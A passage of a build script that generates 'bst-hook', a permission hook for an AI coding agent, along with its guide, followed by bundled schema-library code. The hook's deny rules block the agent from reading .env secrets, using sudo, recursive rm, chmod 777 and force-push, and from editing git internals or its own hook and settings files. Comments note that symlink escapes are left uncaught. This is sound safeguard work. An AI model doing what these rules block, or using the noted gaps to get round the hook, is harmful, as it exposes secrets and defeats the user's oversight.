\"--null\",\n	\"-t\",\n	\"--verbose\",\n	\"-r\",\n	\"--no-run-if-empty\",\n	\"-p\",\n	\"--interactive\",\n	\"-x\",\n	\"--exit\",\n	\"--show-limits\"\n]);\n/**\n* Evaluate `xargs <cmd>` commands.\n*\n* Skips xargs flags to find the inner command, then recursively evaluates it.\n* Passthrough if no command follows the flags or if unrecognised flags are found.\n*/\nfunction evaluateXargs(tokens, ctx) {\n	let i = 1;\n	while (i < tokens.length) {\n		const t = tokens[i];\n		if (!t.startsWith(\"-\")) break;\n		if (XARGS_ARG_FLAGS.has(t)) {\n			i += 2;\n			continue;\n		}\n		const eqIdx = t.indexOf(\"=\");\n		if (eqIdx !== -1) {\n			const flagName = t.slice(0, eqIdx);\n			if (XARGS_ARG_FLAGS.has(flagName)) {\n				i++;\n				continue;\n			}\n		}\n		if (t.length > 2 && XARGS_ARG_FLAGS.has(t.slice(0, 2))) {\n			i++;\n			continue;\n		}\n		if (XARGS_BOOL_FLAGS.has(t)) {\n			i++;\n			continue;\n		}\n		return {\n			action: \"passthrough\",\n			rule: null,\n			reason: \"xargs with unrecognised flags\"\n		};\n	}\n	if (i >= tokens.length) return {\n		action: \"passthrough\",\n		rule: null,\n		reason: \"xargs without command\"\n	};\n	return evaluateCommand(joinTokens(tokens.slice(i)), {\n		...ctx,\n		depth: ctx.depth + 1\n	});\n}\n\n//#endregion\n//#region src/file-rules.ts\nconst READ_TOOLS = /* @__PURE__ */ new Set([\n	\"Read\",\n	\"Glob\",\n	\"Grep\"\n]);\nconst WRITE_TOOLS = /* @__PURE__ */ new Set([\"Write\", \"Edit\"]);\n/**\n* The harness directs every temporary file to a per-session scratchpad under\n* the system temp directory, so denying it puts the hook at odds with the\n* prompt it ships beside.\n*\n* Matching the session id as a path segment rather than reconstructing the\n* documented full path is deliberate: the reconstruction encodes several\n* harness conventions, and when one changes it fails silently back to denying\n* every scratchpad write. The id arrives in the same payload as the path, so\n* the reach is one session's own temp tree.\n*\n* The payload schema only requires a string, so a degenerate id (empty, or a\n* couple of characters) would match as a path segment of nearly every path\n* under the temp directory and widen the allow to all of it. Real ids are\n* UUIDs; the length floor bounds the blast radius by construction rather than\n* trusting the harness to always produce one.\n*\n* `isWithin` compares lexically and does not resolve symlinks, so a symlink\n* planted inside the scratchpad pointing outside it is not caught. That\n* residual is accepted deliberately, the same as the cwd-scoped rules below --\n* the hook is a guardrail against accidents and prompt fatigue, not a sandbox.\n*/\nfunction isSessionScratch(filePath, ctx) {\n	const { sessionId } = ctx;\n	if (!sessionId || sessionId.length < MIN_SESSION_ID_LENGTH) return false;\n	const resolved = resolveIn(ctx.cwd, filePath);\n	if (!isWithin(os.tmpdir(), resolved)) return false;\n	return resolved.split(path.sep).includes(sessionId);\n}\n/** Real session ids are UUIDs; see the length-floor rationale above. */\nconst MIN_SESSION_ID_LENGTH = 16;\nconst fileDenyRules = [\n	{\n		name: \"env-file-read\",\n		tools: READ_TOOLS,\n		action: \"deny\",\n		when: (filePath) => isEnvFile(filePath),\n		reason: \"Don't read .env files. These contain secrets that should not appear in the conversation.\"\n	},\n	{\n		name: \"env-file-write\",\n		tools: WRITE_TOOLS,\n		action: \"deny\",\n		when: (filePath) => isEnvFile(filePath),\n		reason: \"Don't write to .env files. These contain secrets.\"\n	},\n	{\n		name: \"hooks-folder-write\",\n		tools: WRITE_TOOLS,\n		action: \"deny\",\n		when: (filePath, ctx) => {\n			const resolved = resolveIn(ctx.cwd, filePath);\n			const hooksDir = path.join(ctx.cwd, \".claude\", \"hooks\");\n			return isWithin(hooksDir, resolved);\n		},\n		reason: \"Don't write to .claude/hooks/. These files are managed by the project and should not be modified directly.\"\n	},\n	{\n		name: \"git-dir-write\",\n		tools: WRITE_TOOLS,\n		action: \"deny\",\n		when: (filePath, ctx) => targetsGitDir(filePath, ctx.cwd),\n		reason: \"Don't write into .git/ directly. Its internals (config, hooks, refs) are not plain project files -- a config edit can redirect remotes or push destinations that other rules trust, and a hooks/ script runs automatically on the next commit/push. Use git subcommands instead, or ask the user.\"\n	},\n	{\n		name: \"node-modules-write\",\n		tools: WRITE_TOOLS,\n		action: \"deny\",\n		when: (filePath, ctx) => targetsNodeModules(filePath, ctx.cwd),\n		reason: \"Don't write into node_modules/. Its files are hardlinks into pnpm's global store -- editing one in place corrupts that package for every project on this machine. Edit the source package and rebuild, or install into a scratch tree with an isolated store (`pnpm add --store-dir <scratch> <pkg>`).\"\n	},\n	{\n		name: \"claude-settings-write\",\n		tools: WRITE_TOOLS,\n		action: \"deny\",\n		when: (filePath, ctx) => {\n			const resolved = resolveIn(ctx.cwd, filePath);\n			return samePath(resolved, path.join(ctx.cwd, \".claude\", \"settings.json\"));\n		},\n		reason: \"Don't write to .claude/settings.json. This file is managed by the project and should not be modified directly.\"\n	},\n	{\n		name: \"outside-cwd-write\",\n		tools: WRITE_TOOLS,\n		action: \"deny\",\n		when: (filePath, ctx) => {\n			const resolved = resolveIn(ctx.cwd, filePath);\n			if (isWithin(ctx.cwd, resolved)) return false;\n			const homeClaudeDir = path.join(os.homedir(), \".claude\");\n			if (isWithin(homeClaudeDir, resolved)) return false;\n			if (isSessionScratch(filePath, ctx)) return false;\n			return true;\n		},\n		reason: \"Don't write files outside the project directory.\"\n	}\n];\nconst fileAllowRules = [\n	{\n		name: \"session-scratchpad-read\",\n		tools: READ_TOOLS,\n		action: \"allow\",\n		when: (filePath, ctx) => isSessionScratch(filePath, ctx)\n	},\n	{\n		name: \"session-scratchpad-write\",\n		tools: WRITE_TOOLS,\n		action: \"allow\",\n		when: (filePath, ctx) => isSessionScratch(filePath, ctx)\n	},\n	{\n		name: \"cwd-read\",\n		tools: READ_TOOLS,\n		action: \"allow\",\n		when: (filePath, ctx) => isWithin(ctx.cwd, resolveIn(ctx.cwd, filePath))\n	},\n	{\n		name: \"cwd-write\",\n		tools: WRITE_TOOLS,\n		action: \"allow\",\n		when: (filePath, ctx) => isWithin(ctx.cwd, resolveIn(ctx.cwd, filePath))\n	}\n];\n\n//#endregion\n//#region src/evaluate-tool.ts\n/** Tools whose input contains a `file_path` field. */\nconst FILE_PATH_TOOLS = /* @__PURE__ */ new Set([\n	\"Read\",\n	\"Write\",\n	\"Edit\"\n]);\n/** Tools whose input contains a `path` field (search root, optional). */\nconst SEARCH_TOOLS = /* @__PURE__ */ new Set([\"Glob\", \"Grep\"]);\n/**\n* Extract the relevant file path from tool input based on tool name.\n* Returns null if the input shape doesn't match expectations.\n*/\nfunction extractPath(toolName, toolInput, cwd) {\n	if (FILE_PATH_TOOLS.has(toolName)) return parseFilePathInput(toolInput)?.file_path ?? null;\n	if (SEARCH_TOOLS.has(toolName)) return parseSearchInput(toolInput)?.path ?? cwd;\n	return null;\n}\n/**\n* Evaluate a non-Bash tool invocation against file-tool rules.\n* Returns allow, deny, or passthrough.\n*/\nfunction evaluateToolUse(toolName, toolInput, ctx) {\n	const filePath = extractPath(toolName, toolInput, ctx.cwd);\n	if (filePath === null) return {\n		action: \"passthrough\",\n		rule: null,\n		reason: \"unknown tool input shape\"\n	};\n	for (const rule of fileDenyRules) if (rule.tools.has(toolName) && rule.when(filePath, ctx)) return {\n		action: \"deny\",\n		rule: rule.name,\n		reason: rule.reason ?? null\n	};\n	for (const rule of fileAllowRules) if (rule.tools.has(toolName) && rule.when(filePath, ctx)) return {\n		action: \"allow\",\n		rule: rule.name,\n		reason: null\n	};\n	return {\n		action: \"passthrough\",\n		rule: null,\n		reason: \"no file rule matched\"\n	};\n}\n\n//#endregion\n//#region src/index.ts\nconst inputResult = await readHookInput();\nif (!inputResult.ok) {\n	process.stderr.write(`[bst-hook] invalid hook input: ${inputResult.error}\\n`);\n	audit({\n		sessionId: \"unknown\",\n		cwd: \"unknown\",\n		command: `<invalid input: ${inputResult.error}>`,\n		decision: \"passthrough\",\n		rule: null,\n		reason: `validation failed: ${inputResult.error}`\n	});\n	process.exit(0);\n}\nconst input = inputResult.data;\nif (input.hook_event_name !== \"PreToolUse\") process.exit(0);\nif (!(/* @__PURE__ */ new Set([\n	\"Bash\",\n	\"Read\",\n	\"Write\",\n	\"Edit\",\n	\"Glob\",\n	\"Grep\"\n])).has(input.tool_name)) process.exit(0);\nconst repoSettings = loadRepoSettings(input.cwd);\nlet decision;\nlet auditCommand;\nif (input.tool_name === \"Bash\") {\n	const bashInput = parseBashInput(input.tool_input);\n	if (!bashInput) {\n		audit({\n			sessionId: input.session_id,\n			cwd: input.cwd,\n			toolName: input.tool_name,\n			command: `<invalid Bash input: ${JSON.stringify(input.tool_input).slice(0, 200)}>`,\n			decision: \"passthrough\",\n			rule: null,\n			reason: \"Bash tool_input missing or invalid 'command' field\"\n		});\n		process.exit(0);\n	}\n	decision = evaluateCommand(bashInput.command, {\n		cwd: input.cwd,\n		depth: 0,\n		repoAllowPatterns: repoSettings.allow,\n		repoProtectedBranches: repoSettings.protectedBranches\n	});\n	auditCommand = bashInput.command;\n} else {\n	const projectDir = findWorkspaceRoot(input.cwd) ?? process.env[\"CLAUDE_PROJECT_DIR\"] ?? input.cwd;\n	decision = evaluateToolUse(input.tool_name, input.tool_input, {\n		cwd: projectDir,\n		sessionId: input.session_id\n	});\n	const filePath = String(input.tool_input[\"file_path\"] ?? input.tool_input[\"path\"] ?? \"\");\n	auditCommand = `${input.tool_name} ${filePath}`;\n}\naudit({\n	sessionId: input.session_id,\n	cwd: input.cwd,\n	toolName: input.tool_name,\n	command: auditCommand,\n	decision: decision.action,\n	rule: decision.rule,\n	reason: decision.reason\n});\nif (decision.action === \"allow\") writeDecision(\"allow\", decision.advice);\nelse if (decision.action === \"deny\") writeDecision(\"deny\", decision.reason);\n\n//#endregion\nexport {  };", "bst-hook.mjs"), writeIfChanged(ctx, GUIDE_PATH, "# bst-hook Permission Guide\n\nThis project uses a PreToolUse hook (`bst-hook`) that evaluates Bash commands\nand file tool operations before execution. Commands fall into three tiers:\n\n- **Denied** -- blocked with a redirect message\n- **Allowed** -- auto-approved, no prompt\n- **Passthrough** -- falls through to Claude Code's normal permission prompt\n\nAn allow may additionally carry a non-blocking advisory -- e.g. creating a feature branch\nin the primary worktree suggests using a `git worktree` instead. It never blocks; the\ntiers above are unchanged.\n\n## Denied commands\n\nThese are blocked. The hook tells you what to do instead.\n\n### Bash\n\n- **rm-recursive**: Don't use recursive `rm`. Use more targeted deletes, or remove specific files/directories.\n- **sudo**: Don't use sudo. If you need elevated permissions, ask me to do it manually.\n- **git-force-push**: Use `git push --force-with-lease` instead of `--force`.\n- **git-reset-hard**: Don't `reset --hard` on main. Create a branch first.\n- **git-discard-changes**: `-f` / `--discard-changes` throws uncommitted changes away, and nothing reports what was lost. Save them first -- `git stash push` is auto-approved -- then `git switch <branch>` and `git stash pop`. If the changes belong on the target branch, plain `git switch <branch>` carries them over. Ask the user before discarding anything.\n- **git-bare-checkout**: Use `git switch <branch>` to change branches -- unlike `checkout` it cannot discard uncommitted file changes, and it is auto-approved. To create a branch: `git switch -c <branch>` (or `git checkout -b <branch>`). To restore a file, name the path after a `--` separator (`git restore [--source <ref>] -- <path>`, or `git checkout [<ref>] -- <path>`); both prompt rather than being auto-approved.\n- **git-protected-branch-write**: Not auto-approved on a protected branch. Create a feature branch first -- `git switch -c <branch>` is auto-approved, and commit/merge/rebase/cherry-pick/revert/reset are auto-approved once you are on it. To push from there, `git push origin <branch>` with an explicit refspec.\n- **git-protected-branch-force-create**: Force-create (`switch -C`/`--force-create`, `checkout -B`, `worktree add -B`) doesn't just create a branch -- when the branch already exists it resets it to the start point (HEAD by default) and checks it out. To switch to this branch, plain `git switch <branch>` is auto-approved. To create a work branch, pick a non-protected name (`git switch -C <feature>` stays auto-approved). Resetting a protected branch to its origin state is the user's to run.\n- **git-protected-branch-ref-write**: Not auto-approved on a protected branch: `branch -d`/`-D` deleting one, `branch -f <protected> <start>` overwriting one, `branch -m`/`-M` renaming one away, or `branch -M`/`-C` renaming or copying onto one. To inspect branches, `git branch --list` is auto-approved. To create a work branch, pick a non-protected name (`git branch <feature>` stays auto-approved). Deleting, resetting or renaming a protected branch is the user's to run.\n- **git-write**: This git write isn't auto-approved. Working-tree and history operations are auto-approved on a feature branch (`git switch -c <branch>` first); a push needs an explicit refspec from one (`git push origin <branch>`). Writing forms of `tag` and `clean` have no auto-approved form (their listing and dry-run forms do -- `git tag -l`, `git clean -n`); `stash drop`, `git rm -r`, and anything carrying a config/exec-injection or repo-redirect flag have none at all. All of these need the user to run them.\n- **chmod-777**: Don't use 777 permissions. Use more restrictive permissions.\n- **node-modules-write**: Don't write into node_modules/. Its files are hardlinks into pnpm's global store, so overwriting one in place (plain `cp`, `>` redirect, `sed -i`, ...) writes through the link and corrupts that package for every project on this machine -- silently, since the directory you wrote into ends up fine. To test a local build as an installed dependency, run it directly (`node packages/<pkg>/dist/bin.mjs <cmd>`), or install into a scratch tree with an isolated store (`pnpm add --store-dir <scratch> <pkg>`). If you must replace a file in place, `cp --remove-destination` is safe -- it unlinks the target first. Run `pnpm store status` to check whether the store is already damaged.\n- **env-file-read**: Don't read .env files. These contain secrets that should not appear in the conversation.\n- **npx-redirect**: This project uses pnpm. Use `pnpm dlx <pkg>` or `pnpm exec <cmd>` instead of npx.\n- **mise-self-update**: Don't self-update mise. The version is Renovate-managed; ask a human to bump the pin.\n\n### File tools (Read, Write, Edit, Glob, Grep)\n\n- **env-file-read**: Don't read .env files. These contain secrets that should not appear in the conversation.\n- **env-file-write**: Don't write to .env files. These contain secrets.\n- **hooks-folder-write**: Don't write to .claude/hooks/. These files are managed by the project and should not be modified directly.\n- **git-dir-write**: Don't write into .git/ directly. Its internals (config, hooks, refs) are not plain project files -- a config edit can redirect remotes or push destinations that other rules trust, and a hooks/ script runs automatically on the next commit/push. Use git subcommands instead, or ask the user.\n- **node-modules-write**: Don't write into node_modules/. Its files are hardlinks into pnpm's global store -- editing one in place corrupts that package for every project on this machine. Edit the source package and rebuild, or install into a scratch tree with an isolated store (`pnpm add --store-dir <scratch> <pkg>`).\n- **claude-settings-write**: Don't write to .claude/settings.json. This file is managed by the project and should not be modified directly.\n- **outside-cwd-write**: Don't write files outside the project directory.\n\n## Auto-approved commands\n\nThese run without prompting.\n\n### Bash\n\n- **Test runners**: vitest, jest\n- **Type checking**: tsc\n- **Build tools**: tsdown\n- **Tooling CLI**: bst (checks:run, hooks:audit, docker:build, docker:check, repo:sync), bst-agent (the agent package's bin: every safe bst subcommand, plus agent:repair-candidates, agent:review-rounds, agent:status, agent:token-rate and agent:transcript. agent:start, agent:pause and agent:resume prompt)\n- **mise (toolchain provisioning)**: mise (install, ls, which, env, trust, current, doctor. `mise exec [tool@version...] -- <cmd>` unwraps and re-evaluates <cmd>; `mise run <task>` and `mise self-update` prompt.)\n- **Linters & formatters**: oxlint, oxfmt, eslint, prettier, biome, knip\n- **Read-only commands**: cat, head, tail, grep, ls, wc, uniq, diff, echo, pwd, which, dirname, basename, realpath\n- **Package managers (read-only)**: npm (view, info, show only)\n- **Shell builtins**: test, bracket-test\n- **Navigation**: cd, true, colon\n- **Conditional commands**: find (without -exec, -delete), sort (without -o / --output)\n- **Git read operations**: git (status, log, diff, show, blame, remote, fetch, rev-parse, etc.)\n- **Git read-only forms of write verbs**: git-read-only-form (`--help` immediately after any subcommand (not `-h` -- an alias still runs with it); `git tag` listing forms (bare, -l/--list, --points-at, --contains, --merged, --sort, --format); `git clean -n`/`--dry-run` without -f; `git branch` listing forms (bare, -a/-r, -l/--list, --show-current, -v, --contains/--merged/--points-at, --sort=/--format=). A positional beside a branch flag that isn't one of those selectors is a branch name, not a pattern -- `git branch -v main` creates and prompts. Writing forms of tag and clean stay denied)\n- **Git safe writes**: git-safe-write (add, `switch <branch>` (existing branch), switch -c/-C (new branch), checkout -b/-B (new branch), `branch <name> [<start-point>]` (new branch, no checkout, with the same protected-name rule as switch -c), stash push/pop/apply/show, mv (docs/*.md only), worktree list/add (remove/prune/move prompt -- they can delete uncommitted work). -C/-B/--force-create onto a protected branch name (main/master/default, or repo-configured) is denied instead of created, since it resets an existing branch rather than merely creating one; -c/-b/--create onto one prompts instead of auto-approving, since with no local ref of that name it succeeds and parks the session on a protected branch (`switch <branch>` stays auto-approved). switch/checkout otherwise auto-approve only with recognized non-discarding flags: -f/--discard-changes discards uncommitted work and is denied, any other flag prompts)\n- **Git writes (feature branches)**: git-feature-branch-write (commit, merge, rebase, cherry-pick, revert, reset (only when current branch is not main/master/default; push is never auto-approved))\n- **Git push (feature branches)**: git-safe-push (push with an explicit refspec (e.g. `git push origin feat/x`) from a non-protected branch to a non-protected destination on a configured remote (--force-with-lease ok; --force, --tags, --delete, --mirror, and pushes to main are not). A push with no refspec (bare `git push` / `git push <remote>`) is never auto-approved -- its destination comes from push.default/upstream config, which is not resolved here)\n- **pnpm (safe built-ins)**: pnpm (list, why, view, info, show, outdated, install (bare only))\n- **File operations (within project)**: cp (paths must be within project directory), mkdir (paths must be within project directory), touch (paths must be within project directory), mv-docs (mv only between docs/*.md paths (plan-lifecycle moves)), sed-docs (sed only on docs/*.md files (plan-lifecycle edits))\n\n### File tools\n\n- **Read/Glob/Grep**: the per-session scratchpad under the system temp directory\n- **Write/Edit**: the per-session scratchpad under the system temp directory\n- **Read/Glob/Grep**: Allowed within project directory\n- **Write/Edit**: Allowed within project directory\n\n## Passthrough\n\nEverything not listed above triggers Claude Code's normal permission prompt.\nCommon examples:\n\n- `pnpm add <pkg>`, `pnpm dlx <pkg>` (dependency changes)\n- `mv`, `git mv` (file moves outside `docs/*.md`)\n- `git rm` (without `-r`)\n- `node`, `npx` scripts\n- Commands with output redirection (`> file`)\n- Any unrecognized command\n\n## How commands are evaluated\n\n- **Pipelines and chains**: every segment must be allowed; any deny blocks the whole command.\n- **pnpm scripts**: `pnpm <script>` resolves against `package.json` (including pre/post hooks and `--filter` workspaces) and evaluates the resolved command recursively.\n- **cd propagation**: `cd dir && cmd` evaluates `cmd` relative to the new directory.\n- **Audit log**: all decisions are logged to `.claude/hooks/bst-hook.audit.local.jsonl`.\n", "bst-hook-guide.md")];
+	const results = [writeIfChanged(ctx, HOOK_PATH, "/**\n * bst-hook -- Claude Code PreToolUse hook\n * @bensandee/claude-hooks\n * https://github.com/bensandee/tooling\n *\n * Auto-generated by @bensandee/tooling repo:sync -- do not edit manually.\n */\nimport * as fs from \"node:fs\";\nimport { existsSync, readFileSync, readdirSync, realpathSync, statSync } from \"node:fs\";\nimport * as path from \"node:path\";\nimport { dirname, join, resolve } from \"node:path\";\nimport { fileURLToPath } from \"node:url\";\nimport { execFileSync } from \"node:child_process\";\n\n//#region ../../node_modules/.pnpm/zod@4.6.5/node_modules/zod/v4/core/util.js\nfunction getEnumValues(entries) {\n	const numericValues = Object.values(entries).filter((v) => typeof v === \"number\");\n	return Object.entries(entries).filter(([k, _]) => numericValues.indexOf(+k) === -1).map(([_, v]) => v);\n}\nfunction joinValues(array, separator = \"|\") {\n	return array.map((val) => stringifyPrimitive(val)).join(separator);\n}\nfunction jsonStringifyReplacer(_, value) {\n	if (typeof value === \"bigint\") return value.toString();\n	return value;\n}\nvar Cached = class {\n	constructor(getter) {\n		this._getter = getter;\n		this._value = void 0;\n	}\n	get value() {\n		const getter = this._getter;\n		if (getter !== void 0) {\n			this._value = getter();\n			this._getter = void 0;\n		}\n		return this._value;\n	}\n};\nfunction cached(getter) {\n	return new Cached(getter);\n}\nfunction nullish(input) {\n	return input === null || input === void 0;\n}\nfunction cleanRegex(source) {\n	const start = source.startsWith(\"^\") ? 1 : 0;\n	const end = source.endsWith(\"$\") ? source.length - 1 : source.length;\n	return source.slice(start, end);\n}\nfunction assignProp(target, prop, value) {\n	Object.defineProperty(target, prop, {\n		value,\n		writable: true,\n		enumerable: true,\n		configurable: true\n	});\n}\n/**\n* Whichever object a def's `shape` currently answers from: the one the caller passed until the first read, the frozen copy after it.\n*\n* Its keys and descriptors read without invoking anything, which is what lets a discriminated union check its discriminator, and the cycle walk read a shape, without resolving a getter that references the schema being constructed. A def that answers `shape` from an accessor of its own has none.\n*/\nfunction rawShape(def) {\n	const desc = Object.getOwnPropertyDescriptor(def, \"shape\");\n	return desc?.get ? desc.get.raw : desc?.value;\n}\nfunction sourceShape(schema) {\n	return rawShape(schema._zod.def) ?? schema._zod.def.shape;\n}\nfunction deferProp(target, key, getter) {\n	Object.defineProperty(target, key, {\n		get() {\n			const value = getter();\n			assignProp(this, key, value);\n			return value;\n		},\n		enumerable: true,\n		configurable: true\n	});\n}\nfunction putProp(target, key, value) {\n	if (key in target) assignProp(target, key, value);\n	else target[key] = value;\n}\n/**\n* Copies `keys` of `source`'s shape onto `target`, each value passed through `wrap`.\n*\n* A key the source has resolved is copied through now, so the derived shape states it outright and nothing has to resolve it to learn what it holds. A key the source still defers stays deferred, and reads back through the source's own `shape`, so it resolves once and both shapes get that one schema.\n*/\nfunction mirrorShape(target, source, keys, wrap) {\n	const raw = sourceShape(source);\n	for (const key of keys) {\n		const desc = Object.getOwnPropertyDescriptor(raw, key);\n		if (!desc.enumerable) continue;\n		if (desc.get) deferProp(target, key, () => {\n			const value = source._zod.def.shape[key];\n			return wrap ? wrap(value, key) : value;\n		});\n		else putProp(target, key, wrap ? wrap(desc.value, key) : desc.value);\n	}\n}\nfunction mirrorProps(target, source) {\n	for (const key of Reflect.ownKeys(source)) {\n		const desc = Object.getOwnPropertyDescriptor(source, key);\n		if (!desc.enumerable) continue;\n		if (desc.get) deferProp(target, key, () => source[key]);\n		else putProp(target, key, desc.value);\n	}\n}\nfunction mergeDefs(...defs) {\n	const mergedDescriptors = {};\n	for (const def of defs) {\n		const descriptors = Object.getOwnPropertyDescriptors(def);\n		Object.assign(mergedDescriptors, descriptors);\n	}\n	return Object.defineProperties({}, mergedDescriptors);\n}\nfunction esc(str) {\n	return JSON.stringify(str);\n}\nfunction slugify(input) {\n	return input.toLowerCase().trim().replace(/[^\\w\\s-]/g, \"\").replace(/[\\s_-]+/g, \"-\").replace(/^-+|-+$/g, \"\");\n}\nconst captureStackTrace = \"captureStackTrace\" in Error ? Error.captureStackTrace : (..._args) => {};\nfunction isObject(data) {\n	return typeof data === \"object\" && data !== null && !Array.isArray(data);\n}\nconst allowsEval = /* @__PURE__*/ cached(() => {\n	if (globalConfig.jitless) return false;\n	if (typeof navigator !== \"undefined\" && navigator?.userAgent?.includes(\"Cloudflare\")) return false;\n	try {\n		new Function(\"\");\n		return true;\n	} catch (_) {\n		return false;\n	}\n});\nfunction isPlainObject(o) {\n	if (isObject(o) === false) return false;\n	const ctor = o.constructor;\n	if (ctor === void 0) return true;\n	if (typeof ctor !== \"function\") return true;\n	const prot = ctor.prototype;\n	if (isObject(prot) === false) return false;\n	if (Object.prototype.hasOwnProperty.call(prot, \"isPrototypeOf\") === false) return false;\n	return true;\n}\nfunction shallowClone(o) {\n	if (isPlainObject(o)) return { ...o };\n	if (Array.isArray(o)) return [...o];\n	if (o instanceof Map) return new Map(o);\n	if (o instanceof Set) return new Set(o);\n	return o;\n}\nconst propertyKeyTypes = /* @__PURE__*/ new Set([\n	\"string\",\n	\"number\",\n	\"symbol\"\n]);\nfunction escapeRegex(str) {\n	return str.replace(/[.*+?^${}()|[\\]\\\\]/g, \"\\\\$&\");\n}\nfunction clone(inst, def, params) {\n	const cl = new inst._zod.constr(def ?? inst._zod.def);\n	if (!def || params?.parent) cl._zod.parent = inst;\n	return cl;\n}\nfunction normalizeParams(_params) {\n	const params = _params;\n	if (!params) return {};\n	if (typeof params === \"string\") return { error: () => params };\n	if (params?.message !== void 0) {\n		if (params?.error !== void 0) throw new Error(\"Cannot specify both `message` and `error` params\");\n		params.error = params.message;\n	}\n	delete params.message;\n	if (typeof params.error === \"string\") return {\n		...params,\n		error: () => params.error\n	};\n	return params;\n}\nfunction stringifyPrimitive(value) {\n	if (typeof value === \"bigint\") return value.toString() + \"n\";\n	if (typeof value === \"string\") return `\"${value}\"`;\n	return `${value}`;\n}\nfunction optionalKeys(shape) {\n	return Object.keys(shape).filter((k) => {\n		return shape[k]._zod.optin !== void 0 && shape[k]._zod.optout === \"optional\";\n	});\n}\nconst NUMBER_FORMAT_RANGES = /*@__PURE__*/ (() => ({\n	safeint: [Number.MIN_SAFE_INTEGER, Number.MAX_SAFE_INTEGER],\n	int32: [-2147483648, 2147483647],\n	uint32: [0, 4294967295],\n	float32: [-34028234663852886e22, 34028234663852886e22],\n	float64: [-Number.MAX_VALUE, Number.MAX_VALUE]\n}))();\nconst BIGINT_FORMAT_RANGES = {\n	int64: [/* @__PURE__*/ BigInt(\"-9223372036854775808\"), /* @__PURE__*/ BigInt(\"9223372036854775807\")],\n	uint64: [/* @__PURE__*/ BigInt(0), /* @__PURE__*/ BigInt(\"18446744073709551615\")]\n};\nfunction pick(schema, mask) {\n	const currDef = schema._zod.def;\n	const checks = currDef.checks;\n	if (checks && checks.length > 0) throw new Error(\".pick() cannot be used on object schemas containing refinements\");\n	const newShape = {};\n	mirrorShape(newShape, schema, maskedKeys(schema, mask));\n	return clone(schema, mergeDefs(currDef, {\n		shape: newShape,\n		checks: []\n	}));\n}\nfunction maskedKeys(schema, mask) {\n	const raw = sourceShape(schema);\n	const keys = [];\n	for (const key of Reflect.ownKeys(mask)) {\n		if (!Object.getOwnPropertyDescriptor(raw, key)?.enumerable) throw new Error(`Unrecognized key: \"${String(key)}\"`);\n		if (mask[key]) keys.push(key);\n	}\n	return keys;\n}\nfunction omit(schema, mask) {\n	const currDef = schema._zod.def;\n	const checks = currDef.checks;\n	if (checks && checks.length > 0) throw new Error(\".omit() cannot be used on object schemas containing refinements\");\n	const omitted = new Set(maskedKeys(schema, mask));\n	const newShape = {};\n	mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema)).filter((key) => !omitted.has(key)));\n	return clone(schema, mergeDefs(currDef, {\n		shape: newShape,\n		checks: []\n	}));\n}\nfunction extend(schema, shape) {\n	if (!isPlainObject(shape)) throw new Error(\"Invalid input to extend: expected a plain object\");\n	const checks = schema._zod.def.checks;\n	if (checks && checks.length > 0) {\n		const existingShape = sourceShape(schema);\n		for (const key of Reflect.ownKeys(shape)) if (Object.getOwnPropertyDescriptor(existingShape, key) !== void 0) throw new Error(\"Cannot overwrite keys on object schemas containing refinements. Use `.safeExtend()` instead.\");\n	}\n	return clone(schema, mergeDefs(schema._zod.def, { shape: extended(schema, shape) }));\n}\nfunction extended(schema, shape) {\n	const newShape = {};\n	mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema)));\n	mirrorProps(newShape, shape);\n	return newShape;\n}\nfunction safeExtend(schema, shape) {\n	if (!isPlainObject(shape)) throw new Error(\"Invalid input to safeExtend: expected a plain object\");\n	return clone(schema, mergeDefs(schema._zod.def, { shape: extended(schema, shape) }));\n}\nfunction merge(a, b) {\n	if (!b?._zod?.def) throw new Error(\"Invalid input to merge: expected an object schema. To merge a plain shape, use `.extend()`.\");\n	if (a._zod.def.checks?.length) throw new Error(\".merge() cannot be used on object schemas containing refinements. Use .safeExtend() instead.\");\n	const newShape = {};\n	mirrorShape(newShape, a, Reflect.ownKeys(sourceShape(a)));\n	mirrorShape(newShape, b, Reflect.ownKeys(sourceShape(b)));\n	return clone(a, mergeDefs(a._zod.def, {\n		shape: newShape,\n		get catchall() {\n			return b._zod.def.catchall;\n		},\n		checks: b._zod.def.checks ?? []\n	}));\n}\nfunction partial(Class, schema, mask, name = \"partial\") {\n	const checks = schema._zod.def.checks;\n	if (checks && checks.length > 0) throw new Error(`.${name}() cannot be used on object schemas containing refinements`);\n	const selected = mask ? new Set(maskedKeys(schema, mask)) : void 0;\n	const newShape = {};\n	mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema)), Class && ((value, key) => selected && !selected.has(key) ? value : new Class({\n		type: \"optional\",\n		innerType: value\n	})));\n	return clone(schema, mergeDefs(schema._zod.def, {\n		shape: newShape,\n		checks: []\n	}));\n}\nfunction required(Class, schema, mask) {\n	const selected = mask ? new Set(maskedKeys(schema, mask)) : void 0;\n	const newShape = {};\n	mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema)), (value, key) => selected && !selected.has(key) ? value : new Class({\n		type: \"nonoptional\",\n		innerType: value\n	}));\n	return clone(schema, mergeDefs(schema._zod.def, { shape: newShape }));\n}\nfunction aborted(x, startIndex = 0) {\n	if (x.aborted === true) return true;\n	for (let i = startIndex; i < x.issues.length; i++) if (x.issues[i]?.continue !== true) return true;\n	return false;\n}\nfunction explicitlyAborted(x, startIndex = 0) {\n	if (x.aborted === true) return true;\n	for (let i = startIndex; i < x.issues.length; i++) if (x.issues[i]?.continue === false) return true;\n	return false;\n}\nfunction prefixIssues(path, issues) {\n	return issues.map((iss) => {\n		var _a;\n		(_a = iss).path ?? (_a.path = []);\n		iss.path.unshift(path);\n		return iss;\n	});\n}\nfunction unwrapMessage(message) {\n	return typeof message === \"string\" ? message : message?.message;\n}\nfunction attachSchema(issues, start, inst) {\n	var _a;\n	for (let i = start; i < issues.length; i++) (_a = issues[i]).schema ?? (_a.schema = inst);\n}\nfunction finalizeIssue(iss, ctx, config) {\n	var _a;\n	const traits = iss.inst?._zod?.traits;\n	if (traits?.has(\"$ZodType\")) {\n		if (traits.has(\"$ZodCheck\")) (_a = iss).schema ?? (_a.schema = iss.inst);\n		else iss.schema = iss.inst;\n	}\n	const schemaError = iss.schema !== iss.inst ? iss.schema?._zod.def?.error : void 0;\n	const message = iss.message ? iss.message : unwrapMessage(iss.inst?._zod.def?.error?.(iss)) ?? unwrapMessage(schemaError?.(iss)) ?? unwrapMessage(ctx?.error?.(iss)) ?? unwrapMessage(config.customError?.(iss)) ?? unwrapMessage(config.localeError?.(iss)) ?? \"Invalid input\";\n	const full = 